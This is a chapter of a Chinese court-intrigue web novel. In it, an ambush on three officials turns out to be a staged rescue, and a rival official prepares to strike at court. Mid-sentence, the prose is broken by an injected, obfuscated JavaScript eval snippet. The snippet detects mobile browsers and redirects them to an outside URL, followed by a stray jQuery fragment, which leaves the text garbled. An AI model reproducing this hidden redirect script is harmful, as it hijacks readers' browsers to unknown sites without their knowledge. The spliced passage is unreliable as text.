就在这千钧一发之际!
山林另一侧,陡然传来几声破空之响!
数道黑影,悄无声息地杀入了战团!
为首一人,一身黑衣,脸覆面具,手持一柄狭长的软剑。
剑光一闪。
正要劈砍马车的山匪头目,动作戛然而止,脖颈处出现一道细细的血线,随即人头落地。
来人正是顾青河!
他剑法凌厉狠辣,每一剑都直奔要害,没有一丝多余的动作。
眨眼之间,便有三名山匪被他一剑封喉。
同时,身后跟来的十几名黑衣死士,同样是身手不凡的顶尖好手,配合默契,瞬间就将战局彻底扭转。
剩下的山匪见状,吓得魂飞魄散,哪里还有半点战意,转身就想往林子里逃。
“想走?”
顾青河发出一声冷哼,身影一晃,拦住了一名山匪,一剑刺穿其大腿。
山匪惨叫着跪倒在地。
顾青河的剑尖,抵在了他的咽喉。
“谁派你们来的?”
山匪还想嘴硬,顾青河手腕一抖,剑尖刺入半分,血液渗出。
“说!”
剧痛与死亡压迫下,山匪终于崩溃,嘶吼道:“是是张张大人.”
话音刚落,顾青河手起剑落,了结了他。
而后,走到那名被最先斩杀的头目尸身旁,搜检片刻,从其怀中,摸出了一封用油纸包好的书信,和几张大额银票。
展开书信,借着火把的光亮,信尾处一个鲜红的私印,赫然在目。
“张泰”!
不远处,钱枫三看到这一幕,浑身冰凉,如坠冰窟。
惊、怒、惧!
种种情绪交织在一起。
真的是张泰!
他竟然真的敢在官道上,买凶截杀朝廷命官!
这是要灭口啊!
顾青河挥手让手下检查现场后,转身走到三人面前,拱了拱手。
“三位大人受惊了。”
“卢先生料到张泰此人会不择手段,狗急跳墙,特命在下暗中护送。”
尽管钱枫几人有所依仗,但还是对着顾青河深深一揖:“多谢壮士救命之恩!”
孙绍和赵庸也连忙拱手行礼。
钱枫刚准备询问卢案首是如何料到今日之事的,猛然想起了什么,急忙冲到自己的马车边。
“文书!调查文书!”
钱枫冲上马车翻找,片刻后,脸色凝重地走了下来。
装有调查文书的箱子,在刚才的混战中,被一支火箭射中,已经烧成了一堆焦炭。
“完了.”孙绍一屁股瘫坐在地上,满脸绝望,“文书被毁,我们回京,拿什么去跟张泰斗?口说无凭啊!”
铁证,就这么没了。
原来,截杀是假,企图消灭证据才是真啊!
顾青河却异常镇定,轻笑一声:
“三位大人不必担心。”
从怀中,取出了一个巴掌大小,由水晶和黄铜制成的器物。
“卢先生早已料到此节,在三位大人写好文书之后,便用‘水镜拓印之术’,将文书内容,分毫不差地拓印了下来。”
说着,将那份拓印的副本,递到钱枫手中。
钱枫三人接过一看,只见上面字迹清晰,朱砂印章的痕迹都一模一样,与原本别无二致。
三人面面相觑,随即爆发出巨大的惊喜。
“卢案首这谋略.这算计.”
顾青河没有多言,安排手下收拾好残局,换了新的马车。
“三位大人,事不宜迟,张泰在朝堂上必然已经发难,我等必须连夜赶回京都,将证据呈送.”
……
一个时辰后,顾青河赶回了江州。
经世学堂内。
顾青河事无巨细地将钱枫三人的反应汇报于沈春芳。
说完后,见沈春芳脸色淡然,顾青河才小声发问:
“夫子,咱们这么安排,真的有效果吗?能够确保三位大人彻底倒向咱们这边吗?”
原来,所谓的‘山匪’,并非是张泰的人。
这场截杀,从头到尾都是沈春芳和卢璘商量之后,自导自演的一场戏。
沈春芳闻言,捋须一笑:
“只有这样,他们才会彻底断了所有退路,才会义无反顾地站到我们这边。”
“这叫,置之死地而后生。”
京都,夜色深沉。
吏部侍郎府,书房内。
张泰来回踱步,脑袋里一直惦记着
江州的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601572|185271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事。
钱枫、孙绍、赵庸三人都是他的人。
名为会审实为罗织罪名。
本该是一件走程序的事。
可不知为何心中总有一丝阴霾。
这时书房的门被推开一名心腹幕僚走进来面露喜色。
“大人!江州来的急信!”
张泰闻言连忙转身一把从心腹手中接过信件。
撕开信封迫不及待地展开信纸。
字是钱枫的笔迹但略显潦草看上去写得极为仓促。
“大人经我等三人连日明察暗访已查明江州卢璘一案铁证如山!”
看到第一句张泰呼吸略微急促。
接着继续往下看。
“此人名为讲学实则聚众结党以奇技淫巧蛊惑民心。其所创‘经世学堂’早已成为江州一地巨大隐患百姓深受其害怨声载道敢怒不敢言!”
“其所谓的‘筒车’、‘曲辕犁’看似利民实则华而不实多为面子工程早已废弃大半!”
“至于那刘家村百姓自发办学更是无稽之谈!乃是卢璘威逼利诱一手炮制的伪证只为欺瞒朝廷沽名钓誉!”
信中所写与自己准备**的内容几乎一字不差甚至更为严重!
看到这里张泰脸上终于浮现出笑意。
信的末尾钱枫又加了一句。
“我等担心路上有变恐耽误大人朝堂大计。故将关键证词与文书摘要随信送上。我三人将绕道缓行以避开卢璘党羽耳目不日即可抵京。恳请大人不必等我等明日早朝便可凭此信发难一举将此獠打入万劫不复之地!”
“哈哈哈!好!好一个钱枫!”
张泰再也抑制不住在书房内放声大笑起来。
卢璘!
柳拱!
你们的死期到了!
狂喜过后张泰有些疑惑。
钱枫为人一向四平八稳为何这次的信写得如此激进甚至主动催促自己发难?
这似乎不合他的性子。
但这个念头只是一闪而过。
张泰没有多想定是卢璘的罪行太过罄竹难书连钱枫这等老成持重之人都被激怒了!
一定是这样!
“来人!”张泰对着门外大吼一声。
“速去请礼部尚书、国子监祭酒两位大人连夜来我府上议事!”